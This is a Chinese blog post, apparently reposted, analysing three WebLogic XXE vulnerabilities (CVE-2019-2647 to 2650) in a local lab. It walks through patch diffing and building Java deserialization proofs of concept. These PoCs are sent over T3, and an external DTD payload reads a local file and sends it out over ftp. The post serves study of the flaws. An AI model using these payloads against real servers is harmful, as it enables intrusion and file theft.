我的编程空间,编程开发者的网络收藏夹
学习永远不晚

WebLogic CVE-2019-2647~2650 XXE漏洞分析

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

WebLogic CVE-2019-2647~2650 XXE漏洞分析

Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)

@xxlegend在《weblogic CVE-2019-2647等相关XXE漏洞分析》分析了其中的一个XXE漏洞点,并给出了PoC。刚入手java不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。

补丁分析,找到漏洞点

根据JAVA常见XXE写法与防御方式(参考https://blog.spoock.com/2018/10/23/java-xxe/),通过对比补丁,发现新补丁以下四处进行了setFeature操作:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

应该就是对应的四个CVE了,其中ForeignRecoveryContext@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点

分析环境

  • Windows 10

  • WebLogic 10.3.6.0

  • Jdk160_29(WebLogic 10.3.6.0自带的JDK)


WsrmServerPayloadContext 漏洞点分析

WsrmServerPayloadContext修复后的代码如下:

package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {        ...        }        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {            ...            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);            try {                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();                try {                    String var8 = "http://xml.org/sax/features/external-general-entities";                    var7.setFeature(var8, false);                    var8 = "http://xml.org/sax/features/external-parameter-entities";                    var7.setFeature(var8, false);                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";                    var7.setFeature(var8, false);                    var7.setXIncludeAware(false);                    var7.setExpandEntityReferences(false);                } catch (Exception var11) {                    if (verbose) {                        Verbose.log("Failed to set factory:" + var11);                    }                }           ...        }}

可以看到进行了setFeature操作防止xxe攻击,而未打补丁之前是没有进行setFeature操作的

readExternal在反序列化对象时会被调用,与之对应的writeExternal在序列化对象时会被调用,看下writeExternal的逻辑:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

var1就是this.formENdpt,注意var5.serialize可以传入三种类型的对象,var1.getEndptElement()返回的是Element对象,先尝试新建一个项目构造一下PoC:

结构如下

WebLogic CVE-2019-2647~2650 XXE漏洞分析

public class WeblogicXXE1 {    public static void main(String[] args) throws IOException {        Object instance = getXXEObject();        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));        out.writeObject(instance);        out.flush();        out.close();    }    public static class MyEndpointReference extends EndpointReference {        @Override        public Element getEndptElement() {            super.getEndptElement();            Document doc = null;            Element element = null;            try {                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();                //从DOM工厂中获得DOM解析器                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();                //创建文档树模型对象                doc = dbBuilder.parse("test.xml");                element = doc.getDocumentElement();            } catch (Exception e) {                e.printStackTrace();            }            return element;        }    }    public static Object getXXEObject() {        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();        EndpointReference faultToEndpt = null;        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();        try {            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");            f1.setAccessible(true);            f1.set(wspc, fromEndpt);            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");            f2.setAccessible(true);            f2.set(wspc, faultToEndpt);        } catch (Exception e) {            e.printStackTrace();        }        return wspc;    }}

test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [        <!ELEMENT data (#PCDATA)>        ]><data>4</data>

运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

发现DOCTYPE无法被引入

我尝试了下面几种方法:

  • 在上面说到var5.serialize可以传入Document对象,测试了下,的确可以,但是如何使getEndptElement返回一个Document对象呢?

    • 尝试了自己创建一个EndpointReference类,修改getEndptElement返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package与原来的不同,所以失败了

    • 尝试像Python那样动态替换一个类的方法,貌似Java好像做不到...

  • 尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的modules文件夹与wlserver_10.3\server\lib文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar解压,将WsrmServerPayloadContext.class类删除,重新压缩为weblogic.Jar,然后新建一个项目,引入需要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class同样的包名,在其中新建WsrmServerPayloadContext.class类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal反序列化没有影响)。

    WsrmServerPayloadContext.class修改的内容如下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

  • 经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始WsrmServerPayloadContext.class类同样的包名,然后进行修改,修改内容与第二种方式一样

WebLogic CVE-2019-2647~2650 XXE漏洞分析

  • 测试这种方式也是可行的,比第二种方式操作起来方便些

构造新的PoC:

public class WeblogicXXE1 {    public static void main(String[] args) throws IOException {        Object instance = getXXEObject();        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));        out.writeObject(instance);        out.flush();        out.close();    }    public static Object getXXEObject() {        EndpointReference fromEndpt = new EndpointReference();        EndpointReference faultToEndpt = null;        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();        try {            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");            f1.setAccessible(true);            f1.set(wspc, fromEndpt);            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");            f2.setAccessible(true);            f2.set(wspc, faultToEndpt);        } catch (Exception e) {            e.printStackTrace();        }        return wspc;    }}

查看下新生成的xxe十六进制:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

DOCTYPE被写入了

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了

构造的test.xml如下:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">        %dtd;        %send;        ]><ANY>xxe</ANY>

my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:2121/%file;'>">%all;

运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

%dtd;%send;居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。

尝试debug看下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

可以看到%dtd;%send;确实是被处理掉了

测试下正常的加载外部数据,my.dtd改为如下:

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/gen.xml'>">%all;

gen.xml为:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

可以看到%dtd;%send;被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个EntityScanner,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。

所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

运行PoC测试下,

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了

UnknownMsgHeader 漏洞点分析

与WsrmServerPayloadContext差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造

新建UnknownMsgHeader类,修改writeExternal

WebLogic CVE-2019-2647~2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE2 {    public static void main(String[] args) throws IOException {        Object instance = getXXEObject();        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));        out.writeObject(instance);        out.flush();        out.close();    }    public static Object getXXEObject() {        QName qname = new QName("a", "b", "c");        Element xmlHeader = null;        UnknownMsgHeader umh = new UnknownMsgHeader();        try {            Field f1 = umh.getClass().getDeclaredField("qname");            f1.setAccessible(true);            f1.set(umh, qname);            Field f2 = umh.getClass().getDeclaredField("xmlHeader");            f2.setAccessible(true);            f2.set(umh, xmlHeader);        } catch (Exception e) {            e.printStackTrace();        }        return umh;    }}

运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WsrmSequenceContext 漏洞点分析


这个类看似需要构造的东西挺多的,readExternal与writeExternal的逻辑也比前两个复杂些,但是PoC构造也很容易

新建WsrmSequenceContext类,修改

WebLogic CVE-2019-2647~2650 XXE漏洞分析

PoC如下:

public class WeblogicXXE3 {    public static void main(String[] args) throws IOException {        Object instance = getXXEObject();        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));        out.writeObject(instance);        out.flush();        out.close();    }    public static Object getXXEObject() {        EndpointReference acksTo = new EndpointReference();        WsrmSequenceContext wsc = new WsrmSequenceContext();        try {            Field f1 = wsc.getClass().getDeclaredField("acksTo");            f1.setAccessible(true);            f1.set(wsc, acksTo);        } catch (Exception e) {            e.printStackTrace();        }        return wsc;    }}

测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:

WebLogic CVE-2019-2647~2650 XXE漏洞分析

WebLogic CVE-2019-2647~2650 XXE漏洞分析

最 后

好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

WebLogic CVE-2019-2647~2650 XXE漏洞分析

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

WebLogic CVE-2019-2647~2650 XXE漏洞分析

Oracle发布了4月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW)@xxlegend
2023-06-04

WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析

作者:Longofo@知道创宇404实验室时间:2019年10月16日原文链接:https://paper.seebug.org/1067/这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而EJBTaglibDe
2023-06-03

怎么实现WebLogic RCECVE-2019-2725漏洞分析

这期内容当中小编将会给大家带来有关怎么实现WebLogic RCECVE-2019-2725漏洞分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。2019年4月17日,CNVD 发布《关于Oracle W
2023-06-04

Confluence 文件读取漏洞(CVE-2019-3394)分析

作者: Badcode@知道创宇404实验室 日期: 2019/08/29 英文版本: https://paper.seebug.org/1026/前言下午 @fnmsd 师傅发了个 Confluence 的预警给我,我看了下补丁,复现了这
2023-06-04

如何进行CVE-2019-5786漏洞原理分析及利用

如何进行CVE-2019-5786漏洞原理分析及利用,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。从补丁发现漏洞本质首先根据谷歌博客收集相关CVE-2019-5786漏洞的资料
2023-06-04

win32k.sys驱动CreateSurfacePa的本地提权漏洞分析(CVE-2019-1362)(下)

在上一篇文章中,我们介绍了漏洞发生的运行环境和运行过程。在这一篇文章,我将介绍漏洞的实际攻击过程,并对其进行分析。
win32k.sys驱动CreateSurfacePa的本地提权漏洞分析(CVE-2019-1362)(下)
2024-04-23

如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析

如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。漏洞概述2019年
2023-06-04

windows远程桌面代码执行漏洞CVE-2019-1181分析与修复方案是怎样的

这篇文章将为大家详细讲解有关 windows远程桌面代码执行漏洞CVE-2019-1181分析与修复方案是怎样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。2019年8月14日,微软发布更
2023-06-03

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录